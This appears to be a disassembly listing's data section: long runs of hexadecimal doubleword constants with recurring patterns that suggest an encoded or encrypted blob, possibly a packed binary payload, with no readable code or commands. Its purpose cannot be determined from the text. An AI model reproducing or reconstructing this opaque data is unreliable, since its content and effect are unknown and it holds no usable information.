		dd 9C1830B1h, 3256F28Ch, 325E3CBEh, 0C7365DB1h,	808F2FD7h
		dd 32563600h, 324925BEh, 5436D5B1h, 724D3830h, 32566658h
		dd 0F406C7B1h, 0BA2F1C47h, 73BA1C98h, 0B6C475A6h, 7498DEC8h
		dd 5256D5D0h, 0DB56EAD0h, 325675B6h, 5BA4E6CCh,	0CE4063EDh
		dd 0B159AEB1h, 325657A0h
		dd 3256A758h, 47559FB1h, 0C764FC21h, 81E28F2Bh,	32564FB2h
		dd 3251B4D1h, 2C82AEB1h, 17EA4E62h, 0F2D7CDE5h,	32373EB5h
		dd 0B3308AB1h, 8D1DD740h, 1F314661h, 3D565DD0h,	3256A33Dh
		dd 0FDD737B1h, 3AADE579h, 0F3923608h, 0B6598BBFh, 325675B0h
		dd 5256BA44h, 32565259h, 722D2B1h, 0E94D2EC3h, 2AD6A6AAh
		dd 0CFFE7DFCh, 0F2D78CE8h, 3237B884h, 33D2B5B1h, 0CB565DB1h
		dd 0DB36AEB1h, 325657A3h, 0AF5F132Fh, 5BA6CD5Ch, 55E75913h
		dd 9FA9F684h, 0C2D6382Bh, 32563CD1h, 3256A358h,	2CD2DB1h
		dd 16219B88h, 452446D0h, 325618C7h, 52567549h, 0F90004D7h
		dd 32564959h, 7C75E7B1h, 7DE356E4h, 67CC112h, 1FFA62E1h
		dd 0B3D7EDB6h, 69AFFECAh, 5256BAD0h, 6097E2BEh,	3256AB59h
		dd 1EA57FB1h, 690EF5CFh, 0DB56D5D0h, 3256EAA3h,	0CCDE8DC7h
		dd 0D596ABE1h, 80D1093Ah, 627CC07Bh, 0BD593A5Ch, 3256ABB9h
		dd 325451BEh, 5336EAB1h, 32A375B1h, 34BFDAB1h, 0C5565DB1h
		dd 704CDC4Dh, 0C1D7315Ah, 3D375ED6h, 3256D930h,	34D8E5B1h
		dd 3D5675B1h, 3256BA3Fh, 0DB565DB1h, 3256AEA2h,	8BBA089h
		dd 547B8E56h, 72ADF2E7h, 0C06664EEh, 32A79B64h,	2DDFB5B1h
		dd 3D565DB1h, 3256B736h, 3242BEB1h, 0FDDEABB1h,	0D4E94BDBh
		dd 617867F7h, 0F8310569h, 2F61D430h, 3256F09Bh,	324326BEh
		dd 0BA5957B1h, 3256ABBEh, 3256DF58h, 0A6B3E8B1h, 64EB98D1h
		dd 32EBF81Dh, 39DA52B1h, 5256AEB1h, 3256DBBEh, 8D59ABB1h
		dd 3256B44Eh, 32516ABEh, 0B35975B1h, 3256BAB0h,	52565D4Dh
		dd 7B902FD7h, 3253BEA1h, 0A238ABB1h, 53E1A238h,	0FBD78CD1h
		dd 53AA2D5Eh, 32AFBAB1h, 3256A4B1h, 324647D1h, 698D57B1h
		dd 303D4A5Bh, 0E8A760DAh, 0CE8F6C64h, 520790FDh, 3237E1D0h
		dd 21D452B1h, 5256AEB1h, 32565158h, 7817FB1h, 0B3C280C2h
		dd 0F0295547h, 32561492h, 32573CBEh, 32AF5DB1h,	325652B1h
		dd 32565F58h, 7F92FEB1h, 0F064102Dh, 0CE56EAD0h, 32AE75B1h
		dd 5436DAB1h, 2D2F8730h, 325620BEh, 0B33757B1h,	0EC69DB59h
		dd 3256B4B1h, 85AA60D1h, 32561488h, 325E3BBEh, 0BF595DB1h
		dd 3256AEB3h, 325636D1h, 3256A158h, 0B3D5A2B1h,	48F2BB54h
		dd 325E8E1Eh, 32564FB1h, 32564958h, 0E7A3A1B1h,	0CCA969E6h
		dd 0B15A40ACh, 6A8464F5h, 0E6C1A697h, 0CE56753Ch, 0DB56BA44h
		dd 32565DA5h, 0AEF4267Dh, 492A58E1h, 9E510760h,	0B9549E6Ch
		dd 0C52382D0h, 0DB567548h, 3256BAA3h, 27DAEEBEh, 8A91459Fh
		dd 0F4A09259h, 19ED9CFDh, 3256DFF6h, 3256E658h,	4A6B4CB1h
		dd 0ADBCCBF6h, 3B7BDB50h, 5256AE49h, 3253DDBEh,	0B330ABB1h
		dd 81A99E41h, 32568B08h, 32566558h, 26C699B1h, 45ACF262h
		dd 0C4C3A3DFh, 82DB5FA7h, 3256579Ch, 308A55D1h,	32476ABEh
		dd 3EBF75B1h, 0FC56BAB1h, 0C4863901h, 9CA830AAh, 53FBADDCh
		dd 0BF59ABB1h, 3256D5B0h, 5256EA44h, 0C2E17AE7h, 87833AE8h
		dd 52565DD0h, 3256BD58h, 6CAE2BB1h, 479BF737h, 7F7FD80Bh
		dd 386D4D9Eh, 3BCB38E6h, 53805E31h, 54365DB1h, 9A434430h
		dd 32565B58h, 2B1B4B1h,	9C676E24h, 0BFBB9A8Fh, 0BD5914F2h
		dd 3256BAB6h, 3257D4BEh, 32AFAEB1h, 3242BEB1h, 404BABB1h
		dd 0D3E4E920h, 0B243CC92h, 0B08496E1h, 0C185826Bh, 32560ED8h
		dd 3256BF58h, 7C89B5B1h, 0C57E1F68h, 1B5996ECh,	1783194Eh
		dd 325615A2h, 0CA56BA48h, 32564E58h, 0D5CB25B1h, 5C5FACEFh
		dd 0B8496F5Eh, 4A98DA03h, 0B43518CFh, 0B65975B1h, 3256BABEh
		dd 32565758h, 0DFD715B1h, 0B9DC09A5h, 322450D8h, 325629B1h
		dd 3256E758h, 0C47343B1h, 877713D7h, 27F3785Eh,	3DBFD53Ch
		dd 0B25657B1h, 0F22C8C2Eh, 3F835E47h, 7901F23Bh, 3256334Dh
		dd 3256B158h, 5EA5B5B1h, 958D59D7h, 5035B966h, 22BFABB1h
		dd 0B956D5B1h, 8A245089h, 70E721DCh, 0F7A6DE61h, 325A15BFh
		dd 21BFCEB1h, 0FA5657B1h, 0DD554FBEh, 0E426B4F2h, 23607639h
		dd 53DF673Fh, 603683CFh, 32373CE8h, 0AAECCEB1h,	6067094Bh
		dd 20F87408h, 32378FCCh, 3FD5E5B1h, 0DB5675B1h,	3256BAB9h
		dd 0A0196396h, 547F5A7Eh, 38BF57B1h, 0DD56ABB1h, 0B36731C4h
		dd 2053343Ah, 0DB5675BFh, 3256BABBh, 0E867D295h, 5966B324h
		dd 325673B2h, 34D6A4D1h, 3D56D5B1h, 3256EA35h, 0F5E17AB1h
		dd 3D56BAD0h, 32565930h, 5336CEB1h, 0DB5657D0h,	3256ABB4h
		dd 0D3343AADh, 5256EAC2h, 3250F2BEh, 0DAD7BAB1h, 553107A3h
		dd 53087931h, 32A357B1h, 325A42B1h, 12ADD5B1h, 954F46D2h
		dd 0B7D18844h, 3256F5D3h, 0CE565D44h, 3BBFAEB1h, 0E35657B1h
		dd 0D7A0E956h, 7A0064B1h, 32AFEAB1h, 0B93015B1h, 0EBE1B573h
		dd 0CB565DD0h, 32AAAEB1h, 3256A2B1h, 5256AB49h,	3256C759h
		dd 84FA40B1h, 0F6A38901h, 1B9E12DCh, 3374A943h,	0DB76A1F5h
		dd 325657B9h, 0A6B697CEh, 3B02B08Ch, 53B65EEFh,	32AF75B1h
		dd 324253B1h, 98AA5DB1h, 0CA68C8B4h, 0F05B4A31h, 8220EE53h
		dd 37D7768Dh, 3256A0FAh, 32567C58h, 8BB5B7B1h, 0D851D753h
		dd 0BE597864h, 325657A3h, 3256A658h, 0E55C6EB1h, 0CCE63AAh
		dd 0F5E54D0Bh, 32560F81h, 52565D44h, 0B3C7F30h,	0F8D65F11h
		dd 32AFCAE3h, 32513CB1h, 0EB64EAB1h, 0F0582A71h, 0C756BA94h
		dd 3DBF5DB1h, 9F56AEB1h, 0A2D1C586h, 8A931D9h, 587E120h
		dd 32560D17h, 32449CD1h, 3189BAB1h, 0A499F89h, 0DCE3E8EFh
		dd 97AAD720h, 606A1A77h, 3D56D5D0h, 3256E43Fh, 325F9CB1h
		dd 8DADBAB1h, 69EA1ACCh, 3DBD23B4h, 32565F37h, 5336CBB1h
		dd 0E79F6AD7h, 0DB56EAD0h, 325675BAh, 0A3C4ABA3h, 84CD2D6Dh
		dd 32A01614h, 3EBF37B1h, 0F956ABB1h, 4FE5FB1Ch,	0FA8C62h
		dd 549DCFF2h, 0E1504B30h, 0EADD3DD0h, 32372706h, 3CBE37B1h
		dd 0EF56ABB1h, 0B9C253D7h, 0F148EEB2h, 6756DC06h, 0AA9D3A52h
		dd 0EBD73BE9h, 3D37D1E7h, 32564333h, 39BFCBB1h,	0A356D5B1h
		dd 136AA469h, 301B0FE3h, 6D01DCDCh, 0CE565DD0h,	32A3AEB1h
		dd 0B33037B1h, 52A30C61h, 0D9406CD7h, 53378BD1h, 32567858h
		dd 258F79B1h, 65C1D85Bh, 47201EE1h, 3256DE84h, 324E22BEh
		dd 21BFD5B1h, 0ED56EAB1h, 0B9EDA29Bh, 43650269h, 0D0B8A92Fh
		dd 0A55F3C88h, 32567FDAh, 0DB56AB49h, 3256D5B4h, 32CA98A7h
		dd 5256753Fh, 3256B459h, 0B23EBBB1h, 7BA83D9Ch,	97A2FC3Dh
		dd 0DB21ECFFh, 3256D5B6h, 0F6C21383h, 68F1F513h, 0F78D3BD1h
		dd 0DB2D25A5h, 3256AEBFh, 31FA3AF1h, 0EF266546h, 258ACB56h
		dd 533742A6h, 873675B1h, 3256DBA0h, 3257D9BEh, 32AFAEB1h
		dd 3256AEB1h, 3256A158h, 140209B1h, 660EFAF1h, 324A1C03h
		dd 325642B1h, 3EE83BD1h, 0F71E16CCh, 32376908h,	33D2A4B1h
		dd 0CA56D5B1h, 325A6DBEh, 0B55975B1h, 3256BAB7h, 3256DFBEh
		dd 3256AEB1h, 32565D58h, 0D1FFC3B1h, 20018C04h,	32366709h
		dd 3BD27AB1h, 5256BAB1h, 32DA5248h, 5356AEB1h, 0BC5957B1h
		dd 3256ABBAh, 3256D358h, 916859B1h, 3260F53Ah, 325646B1h
		dd 3251D5BEh, 0B959AEB1h, 325657B0h, 0C756AB48h, 0CAAFD5B1h
		dd 0B059EAB1h, 325675BDh, 32503CBEh, 0BF595DB1h, 3256AEB1h
		dd 0CA3657B1h, 324E25BEh, 21BFD5B1h, 1056EAB1h,	334F5B42h
		dd 4DBC6B20h, 2E1FB38Ch, 9DDE6147h, 32371528h, 32565EB1h
		dd 3256DF58h, 3ABE6FB1h, 0D5DFD50Eh, 0DB4DE1BBh, 32565DB4h
		dd 6D945651h, 0DB565721h
		dd 3256ABBEh, 0DB61818h, 0ED628D4Bh, 0B5A9C11h,	32DD3E25h
		dd 3256A4B1h, 3256A058h, 68DD3AB1h, 645E9229h, 77630CF0h
		dd 32C00B7Eh, 32479CB1h, 37E8BAB1h, 7CFA5F83h, 0A72796D9h
		dd 22A51BF3h, 5223D8E4h, 3237023Bh, 0F8EE8AB1h,	5365BA46h
		dd 21BFBAB1h, 19565DB1h, 5BB4D059h, 0DE4AA81Dh,	0C0E9E1BAh
		dd 9598910Bh, 32560AE1h, 325AF6BEh, 0B959BAB1h,	32565DB7h
		dd 325628BEh, 325657B1h, 325A28BEh, 0B059D5B1h,	3256EAB7h
		dd 3256FABEh, 0B159BAB1h, 32565DA1h, 325F47D1h,	1C0557B1h
		dd 0CA56FD88h, 537A8653h, 3FBFEAB1h, 535675B1h,	0B86E414Eh
		dd 0F62533F4h, 0B06DF162h, 32AF57B1h, 325142B1h, 2F7BD5B1h
		dd 6F7031E9h, 0DB56758Dh, 3256BAB7h, 0F5CBF632h, 3256FDFBh
		dd 325ADEBEh, 0B259ABB1h, 3256D5B7h, 32566BBEh,	325675B1h
		dd 0DB56BA49h, 32565DBBh, 4808AA72h, 500FF170h,	32564B6Ah
		dd 8DA86DD1h, 0B3308045h, 53276563h, 3256B058h,	76435FB1h
		dd 0CFF8A0E2h, 3266E6C3h, 32565EB1h, 0B859B549h, 3256EAB0h
		dd 32561448h, 325F5348h, 76325DB1h, 28C47E71h, 3271C9D3h
		dd 324642B1h, 847AD5B1h, 50322081h, 0FBD217C9h,	0BF7FF79Ah
		dd 20BFD1F6h, 0C956AEB1h, 0CF474037h, 9669E13Ah, 3D80F4A9h
		dd 0E38E3093h, 525675E2h, 7C8005D1h, 0D5D63B8Bh, 8930CF5Bh
		dd 32376442h, 325657B1h, 324253BEh, 3DBFEAB1h, 0F45675B1h
		dd 712B19A9h, 7CE08FDEh, 0ABDEE7A3h, 52361334h,	3256BB58h
		dd 0FDC762B1h, 73723DCCh, 0DBEB8B2Eh, 30EC52F6h, 0C0D73B55h
		dd 5337E1FAh, 523657B1h, 3256A158h, 0FC801BB1h,	0B2214690h
		dd 3DD989D3h, 0DB37630Eh, 32565DBDh, 0DFC2FE4Ah, 0F2C2D2D8h
		dd 0E42CBE31h, 0DB56D5D0h, 3256EABEh, 0ACB24952h, 7CEE7740h
		dd 5B0528EDh, 0DB263142h, 325657BAh, 0FCE6330Ah, 53D3F12Ah
		dd 32870693h, 32AA80B1h, 28DEB5B1h, 52565DB1h, 23BFF0E3h
		dd 195657B1h, 992DA5C7h, 7F14C9E4h, 13960EBh, 455B05AFh
		dd 0C756BAD0h, 32A35DB1h, 0E1E8CEB1h, 0CA041B3Fh, 0E4D7CBD0h
		dd 548D06C5h, 53845DBEh, 0BD5975B1h, 3256BABFh,	6186DCD1h
		dd 3D143D9Dh, 3256573Fh, 3256CAB1h, 3D56D548h, 3256EB3Bh
		dd 325689B1h, 3D56BA44h, 32565C3Bh, 37BF52B1h, 0CF5657B1h
		dd 0CCA285A5h, 38BFD5B1h, 56EAB1h, 82D8AA93h, 73FA1115h
		dd 3CD15266h, 0DB56AEB1h, 325657B8h, 0F6ADC0B9h, 0AF2271AAh
		dd 5256EA9Bh, 538FFED7h, 22BFBAB1h, 0FE565DB1h,	1C28D2D5h
		dd 0D383900Fh, 10F3CB6Dh, 325DFD39h, 3EDBE5B1h,	3D5675B1h
		dd 3256BC3Eh, 32DC52B1h, 3256AEB1h, 3ADD58B1h, 3D56ABB1h
		dd 3256D734h, 32378AB1h, 33DE7AB1h, 0CB56BAB1h,	3D565D48h
		dd 3256A538h, 3250BEB1h, 0A5A5ABB1h, 68FE5A14h,	38BFEAB1h
		dd 0BC5675B1h, 49789FAFh, 0BA38453Ah, 0C756AEB5h, 613657B1h
		dd 0B936F348h, 12A06A62h, 53378EA5h, 0B45975B1h, 3256BAB9h
		dd 3254D3BEh, 5336AEB1h, 3CBF57B1h, 5556ABB1h, 0A2B6CD0Ch
		dd 0CE3049DAh, 3269F3E2h, 5256BABAh, 3252DABEh,	8930AEB1h
		dd 3237CC02h, 325657B1h, 5256D549h, 47896BD7h, 38BF2720h
		dd 6056BAB1h, 2FEAECF7h, 2F5D7B20h, 32370F27h, 325842B1h
		dd 21A2D5B1h, 0DEA806F0h, 605C993Ch, 0A110AEA4h, 34BF5DB1h
		dd 5156AEB1h, 85DCA5DEh, 0DB56ABD7h, 3256D5BEh,	96FDB655h
		dd 56581CB5h, 4F4E6A97h, 52CC33CBh, 629425D7h, 32565259h
		dd 18D4A9B1h, 680D8D2Dh, 3D56EAD0h, 32566137h, 325953B1h
		dd 0B5525DB1h, 7CDF67D3h, 47AC3292h, 726D7EB0h,	5256D52Eh
		dd 325462BEh, 533675B1h, 3256DB44h, 3249D5BEh, 0BA59AEB1h
		dd 325657A8h, 3256BF58h, 585FFAB1h, 0D6E0A2F9h,	97F9F1C9h
		dd 0A0D3CD26h, 0B859134Ch, 0DB56AEB3h, 325657BAh, 458F485Ch
		dd 0E4A6AA36h, 0DB9F27B9h, 325675A3h, 350CB2ACh, 765EDA0Bh
		dd 39E72115h, 1B930AE8h, 32566444h, 3D56D544h, 3256E43Eh
		dd 325F9CB1h, 0F85ABAB1h, 39A5C809h, 32CF7152h,	3256ABB1h
		dd 3256BB58h, 0B4A1FEB1h, 0FA87355Ah, 6260E819h, 0BBE7C728h
		dd 0DB565DF7h, 3256AEA3h, 93217471h, 0B0CB3734h, 7EF9E0DAh
		dd 0D7AB591Fh, 32569474h, 0C756BA49h, 32AF5DB1h, 32AF57B1h
		dd 3FBF37B1h, 8156ABB1h, 0AC30B026h, 37612CF2h,	0A6EDD7D0h
		dd 53A90DBEh, 3CBF5DB1h, 7F56AEB1h, 5CC5CAAEh, 223EFDA0h
		dd 8FED0441h, 0CE56EAB5h, 325AF9BEh, 0BB59BAB1h, 32565DB7h
		dd 325624BEh, 325657B1h, 3251424Dh, 0F35BD5B1h,	6EF62646h
		dd 3D567576h, 3256BB3Fh, 3256A4B1h, 325029BEh, 0B93657B1h
		dd 5337CB46h, 32AAD5B1h, 3EDCE5B1h, 3D5675B1h, 3256BC33h
		dd 32DF52B1h, 3256AEB1h, 325EBEB1h, 5F72ABB1h, 0C8E35FB9h
		dd 3256E894h, 0DB567544h, 3256BAB4h, 27C87D11h,	0DB56AE59h
		dd 325657B9h, 0D38CCEF2h, 0C27AF80Ah, 3BBFEAB1h, 105675B1h
		dd 7DECC5C0h, 0C1DE0EEFh, 0B759AEB1h, 325657B9h, 325425BEh
		dd 5336D5B1h, 3FBFEAB1h, 8D5675B1h, 997B52E1h, 0CC67026h
		dd 0BE5734D3h, 0DB3657B1h, 3256ABBEh, 463B0D77h, 0DC028ED5h
		dd 0FABC65B3h, 0B2D3C2AAh, 32376F69h, 32565BB1h, 325EBED1h
		dd 2B80ABB1h, 0DA3AC868h, 32378918h, 32459CB1h,	3920BAB1h
		dd 6619CD35h, 0FB24CB5Ah, 1AE997C8h, 29AE8469h,	3D56D5F9h
		dd 3256F438h, 2AD77AB1h, 0DB56BAB1h, 32565DA2h,	728E6D28h
		dd 84A4D4E3h, 0F853ED9Fh, 61EDEA96h, 52C9C066h,	32569D4Dh
		dd 0B30CBAB1h, 3FDC215Bh, 3DD7A1B7h, 0DB5657B1h, 3256ABBBh
		dd 9733215Ah, 57CEDCE4h, 0BFAA0230h, 3EDC5734h,	0B0DFA1B7h
		dd 345BDC8Bh, 0D4D4DA44h, 5250A5D6h, 4ABE54E6h,	6944124Eh
		dd 32D47AE1h, 6A56BAB1h, 5DD4D4D0h, 0DB50A3C3h,	325657BDh
		dd 71F34868h, 7D3B2026h, 5FE87EFAh, 3265BC59h, 325F53B1h
		dd 0D4575DB1h, 0A3033051h, 0DAC7096Ch, 3256A9C1h, 18AD6DD1h
		dd 26BFAE27h, 0E5675B1h, 0E24FD5E1h, 7604EEE4h,	80594817h
		dd 7373C4F3h, 53F3693Fh, 3256C558h, 9932F3B1h, 2F67DD5Dh
		dd 1FE8EEC5h, 24DD0400h, 0BAD4693Ah, 32505AC0h,	3D56ABB1h
		dd 3256DC39h, 29E98AB1h, 637D6C54h, 0C704DBEFh,	1E53D877h
		dd 0CE00A8B6h, 9AEE05D9h, 325E422Dh, 530ED5B1h,	0B86E114Eh
		dd 87A91BF4h, 34518B1Ch, 32565458h, 1F4BCEB1h, 29E728FFh
		dd 0B7DB8722h, 345CAEAEh, 98B66BD1h, 533736F2h,	0BBA36A4Eh
		dd 35705434h, 0F4D7CEB7h, 790D0450h, 3256A058h,	9ED0FBB1h
		dd 92C8EF63h, 0A122078Fh, 3D52D0D0h, 32564A30h,	0DAA3CEB1h
		dd 325657BFh, 4ABFCF96h, 638BB7E2h, 5800B93Dh, 530F03BEh
		dd 3246BAD9h, 723EA5B1h, 0DB56ADBCh, 325657BDh,	56B607EDh
		dd 9F4853B1h, 0C5ADE672h, 0B93675DBh, 58C3B43h,	5368EB97h
		dd 52865144h, 54369D3Ah, 0B930633Ah, 6837B44Ah,	3256F858h
		dd 26F5D4B1h, 15FFBED5h, 2ED7B5A5h, 0A874E17Fh,	39D9E2F0h
		dd 1BD2A471h, 0CB56D5B0h, 43DE6838h, 21BF73BCh,	8856BAB1h
		dd 7EB73809h, 0C056BEE9h, 89DA9B4h, 0D22A4D64h,	0B0DFC165h
		dd 345B9B2Ah, 3244FDBEh, 3D36BAB1h, 32565D34h, 325347B1h
		dd 0EEBF57B1h, 53CA8DD9h, 325755BEh, 8BA3EAB1h,	325578F1h
		dd 0CADDDBD1h, 37DA52D1h, 5456AEB1h, 6EAAB130h,	3256A458h
		dd 0DF0CBBB1h, 0CF6C496Eh, 0BD36D3D7h, 7FE5448Ch, 0F265A5D0h
		dd 32472DBEh, 3EBF57B1h
		dd 456ABB1h, 578B1BABh,	0CB3EAF85h, 0C1B45A33h,	3246531Bh
		dd 9A105DB1h, 94CECFEAh, 6992EC43h, 9767EBBCh, 0DB045908h
		dd 3256EAA1h, 1CEF162h,	46F60E60h, 9B126678h, 0D24E13D6h
		dd 3CBF53DBh, 3756ABB1h, 7D9B0BB2h, 98C3031Ah, 0F5DA5015h
		dd 2256D232h, 0BC595DB1h, 3256AEBEh, 32565D58h,	63BEAFB1h
		dd 0CD8B2DE0h, 5A7223B6h, 325671B1h, 32573DBEh,	58AE5DB1h
		dd 39DEA1B1h, 525657B1h, 0C8744B30h, 0F6D6AF87h, 0A0A98B2Dh
		dd 345153B8h, 37D5B5D1h, 54565DB1h, 2D195E30h, 535A9D31h
		dd 0B0DF52EBh, 345BA10Dh, 0E5E9E5D1h, 5381FED7h, 324253D0h
		dd 5FBC5DB1h, 6CF32A0Fh, 0C109E18h, 0B72969E9h,	22E4F09Bh
		dd 0B7DD69CBh, 345B0439h, 0CE95434Dh, 325CB4D1h, 6E65AEB1h
		dd 0CD14F1D9h, 841BCD63h, 385B5776h, 3256ECB6h,	0B05975F1h
		dd 3256BAB0h, 77D49A4Dh, 3250A99Dh, 525657A1h, 54A820D7h
		dd 5337243Ah, 3256E058h, 110232B1h, 42B4159Ah, 0F10A7AD0h
		dd 35BFCE44h, 225657B1h, 2A4773ABh, 88DDC8B5h, 345B9B39h
		dd 3269F648h, 328E3EBEh, 0B1A35DB1h, 3D54BECEh,	32563635h
		dd 0DB05CBB1h, 3256D5A0h, 0E3A14610h, 0E7EF6A1h, 7CDD2BCAh
		dd 2D49E27Ch, 0FAD7F50Eh, 4ED98E8Bh, 222928D0h,	58D2DAB5h
		dd 0DB56EAB1h, 325675A2h, 9BD7E5C8h, 0A571AFCBh, 5A823A78h
		dd 0C0073C3Fh, 0B1B3667Dh, 0DBA3C176h, 0CDA91510h, 32566458h
		dd 0C57D31B1h, 0E389B637h, 4CB0679h, 832BCEE1h,	7591ED38h
		dd 3256D4A1h, 0E6BF12B1h, 3DA98A4Eh, 3256AA36h,	34BE3DB1h
		dd 56AEB1h, 93320887h, 6D05F105h, 38D8DAD0h, 5256EAB1h
		dd 0F9D714D1h, 6AF7B366h, 22119AD0h, 3256AEB2h,	3257DBBEh
		dd 0DBA3ABB1h, 0CDA92A2Ah, 3256E558h, 0E2545BB1h, 0FB0E7115h
		dd 9749F816h, 0BAE1336h, 325AD8BEh, 0B259ABB1h,	3256D5B7h
		dd 325663BEh, 3D3775B1h, 3256BB3Ch, 5295A1B1h, 54364503h
		dd 0B327B630h, 3256B958h, 6D2562B1h, 0C8295BAAh, 3D98A916h
		dd 26A049BBh, 539B9B98h, 0B9AAFBD0h, 0DB36A25Dh, 3256ABB8h
		dd 0E0018DEh, 9152DCD8h, 32569D78h, 0B30CBAB1h,	3FD8815Bh
		dd 0BF5956B7h, 325657B0h, 0B9595E4Dh, 3256D5B6h, 32576BBEh
		dd 0B9A375B1h, 3F225E03h, 77DDA1B7h, 35D6A1B9h,	3D5657B1h
		dd 3256AA33h, 34DF20B1h, 325762BEh, 0CBA375B1h,	46B23832h
		dd 3D525BBCh, 3256B735h, 3242BEB1h, 6169ABB1h, 0DEC69E2Ah
		dd 0E28F48AEh, 0C3DBAE24h, 59D0CD33h, 3D371538h, 3256A439h
		dd 6A0637B1h, 325620BEh, 0FB37D5B1h, 325163BEh,	0B85975B1h
		dd 3256BAB0h, 32529F49h, 325A28BEh, 0B15957B1h,	3256ABB7h
		dd 325656BEh, 3D36EAB1h, 3256613Ch, 325953B1h, 0A9335DB1h
		dd 53E0DA4h, 0B2CE3CD6h, 4E6F4F4Ch, 32563D4Ch, 0B30CEAB1h
		dd 3FD9E15Bh, 3ED6B5B7h, 3D565DB1h, 3256A83Dh, 32DA58B1h
		dd 5256ABB1h, 22BF1A3Ah, 0F256EAB1h, 83E35E60h,	0ED222440h
		dd 94264C51h, 531C1BEBh, 32564558h, 0B03B0DB1h,	0B105FAAh
		dd 77507D4Fh, 4BA03BA3h, 0B942B7D6h, 3F22E103h,	806D52B7h
		dd 345B2355h, 30522FBEh, 0B359D5B1h, 3256EAB7h,	62B8FFD1h
		dd 0CDDDBEAh, 32D452D1h, 5356AEB1h, 0DB36883Ah,	3256ABBDh
		dd 2F9CEED6h, 35EDB96Eh, 689ED684h, 3256A958h, 0E09A14B1h
		dd 22E1CA54h, 0D70AC9F8h, 0D18503BFh, 15D13A16h, 7DE0E5D0h
		dd 325B9CB0h, 0EF7ABAB1h, 56B10E7Ah, 1D406918h,	0C49C9607h
		dd 3DD6AAF6h, 32569034h, 0DDDC8AB1h, 42CB9230h,	0DB37DEE2h
		dd 32565DB8h, 27819A4Eh, 0A5CE576h, 528FA8D2h, 325052BEh
		dd 0B259EAB1h, 325675B1h, 0E4DDDCD1h, 5337853Bh, 3256B158h
		dd 325ABEB1h, 0EBC1ABB1h, 0E8319582h, 0CD1847DAh, 0EB7DCCFFh
		dd 325034BEh, 54365DB1h, 53AF663Ah, 37BE37F2h, 7856ABB1h
		dd 756AE1A7h, 6414C50Fh, 23BF2EA7h, 9156BAB1h, 52125960h
		dd 18B65CCCh, 12B61FC3h, 0BE80276Fh, 3ABFB5D0h,	0F556EAB1h
		dd 9B3F0CA1h, 549C5A63h, 5311720Eh, 0B7DD52F2h,	34514228h
		dd 0C1B613D1h, 0B459B8B9h, 3256EAB0h, 0BFDD144Dh, 3451BAA0h
		dd 3250B4D1h, 0AEC2AEB1h, 864DE333h, 3256AE59h,	24719EB1h
		dd 0D6EE90FEh, 6D31B4AAh, 3D8E81D0h, 3256D833h,	0B330CEB1h
		dd 0B361D542h, 7871D066h, 8136B4D8h, 324202DDh,	0E04E75B1h
		dd 8BF54E48h, 0B0B88993h, 0D94ED06Fh, 8B3F3E88h, 33EC8389h
		dd 6B585E74h, 3D8FD1D0h, 32563836h, 3AD7B5B1h, 3D565DB1h
		dd 3256AC3Eh, 0B13737B1h, 38BFAF77h, 3156D5B1h,	9059BC2Fh
		dd 0C34F4B58h, 3EDAB5C7h, 3D565DB1h, 3256A83Ah,	32D158B1h
		dd 0DB56ABB1h, 0CDA92BE3h, 6A826AD1h, 32567359h, 0B6D0B1h
		dd 899A855Eh, 31F0F421h, 0FD6D36EEh, 32122FBEh,	0B859D5B1h
		dd 3256EAA2h, 32567B58h, 9CA1D9B1h, 0CD84B395h,	4A5D0493h
		dd 0BBE935A4h, 3556BA0Ch, 35BEB5B7h, 4756EAB1h,	0C875A048h
		dd 0B959A032h, 32565DB1h, 0C6BFCFEFh, 52A9A84Ch, 0B39E1CBEh
		dd 0FF4C5076h, 52378BB0h, 19A0F4D7h, 21983B6Dh,	533D5062h
		dd 325C4772h, 582657B1h, 1663F5E8h, 7135101Eh, 325760BEh
		dd 52A375B1h, 53AE4FD1h, 37BE0ED1h, 8456AEB1h, 87E2732Dh
		dd 0F3D7F2EAh, 62AF9C62h, 325602D0h, 0B30C75B1h, 3FC4825Bh
		dd 0B659A1B7h, 3256AEB0h, 8EECDC44h, 5250A6C5h,	3256D058h
		dd 2C18E0B1h, 890142D4h, 1ADCA53Eh, 32EF3CE9h, 3D56AEB0h
		dd 32565634h, 34BF52B1h, 0E756D5B1h, 704D10FAh,	0CA964613h
		dd 20BF1142h, 0D7565DB1h, 0C209CCC4h, 0A3A52C47h, 0A5BE3162h
		dd 0CD8F8EF1h, 8ED46192h, 525078C5h, 325539BEh,	8D595DB1h
		dd 5FA02F60h, 53049DACh, 46B22938h, 0BA59D3BCh,	3256EAB6h
		dd 0FDE97AD1h, 5337DBD1h, 52A39E44h, 32564648h,	0B30C57B1h
		dd 3FC4635Bh, 2EEB5B7h,	545E43EAh, 0FECCB330h, 0B79042D0h
		dd 345171B4h, 3AD3A1E7h, 3D5657B1h, 3256A93Ah, 5A37B5B1h
		dd 0E6498788h, 32D77AD1h, 5456BAB1h, 3667AA30h,	9FE351D0h
		dd 0CE505080h, 49492E3Ch, 0BC59D3BBh, 3256EAA1h, 32567E58h
		dd 4C382CB1h, 53ECCC99h, 169E93F8h, 6036874Eh, 0DA0DCAD1h
		dd 3256D5A1h, 0A62FEF4Eh, 2DE505F5h, 0FB50A952h, 65BDA04h
		dd 0FEB0D309h, 52370DF7h, 3256A159h, 0C5E0F8B1h, 38A6C99Ah
		dd 807CD9CFh, 0B330E0D9h, 53485D63h, 325E47E3h,	0E33857B1h
		dd 596CB298h, 0DB063CFCh, 3256EAA3h, 0CC3D68CFh, 5D736360h
		dd 448D5515h, 0DD61CECFh, 323EB166h, 0CE56AB31h, 0CAA3D5DBh
		dd 43DE584Eh, 3D3673BCh, 3D014C06h, 32565D37h, 0CD37F1B1h
		dd 3EBE3761h, 9256ABB1h, 16B5B720h, 5F28C77Ch, 3DD7EA7Bh
		dd 54096806h, 53C9C80Ah, 324547E9h, 3A0557B1h, 4A2B9D91h
		dd 0B2FDBDB6h, 6ACDC8A7h, 14CE94C8h, 24DCB5BDh,	3D565DB1h
		dd 3256BE37h, 325DBEB1h, 0F500ABB1h, 0B5FA844Ch, 6DAD9E2Bh
		dd 0B3362F22h, 0F9855B7Eh, 5AAE3CDCh, 32562EB1h, 0B33001D1h
		dd 6BE80D7Ah, 53C33B31h, 3256FE58h, 0D89EA6B1h,	0EC99A661h
		dd 2845CA50h, 4352C248h, 0F5815138h, 5256C1D5h,	32555FBEh
		dd 8D59EAB1h, 32449C7Bh, 0AB93BAB1h, 67354AE9h,	0C1C7BDF5h
		dd 9E2BD5F6h, 0B9F3B002h, 8EE42AD0h, 5250E7C5h,	0A784A330h
		dd 88E7F0B7h, 5286A2D0h, 325422BEh, 0DDDC57B1h,	539520D7h
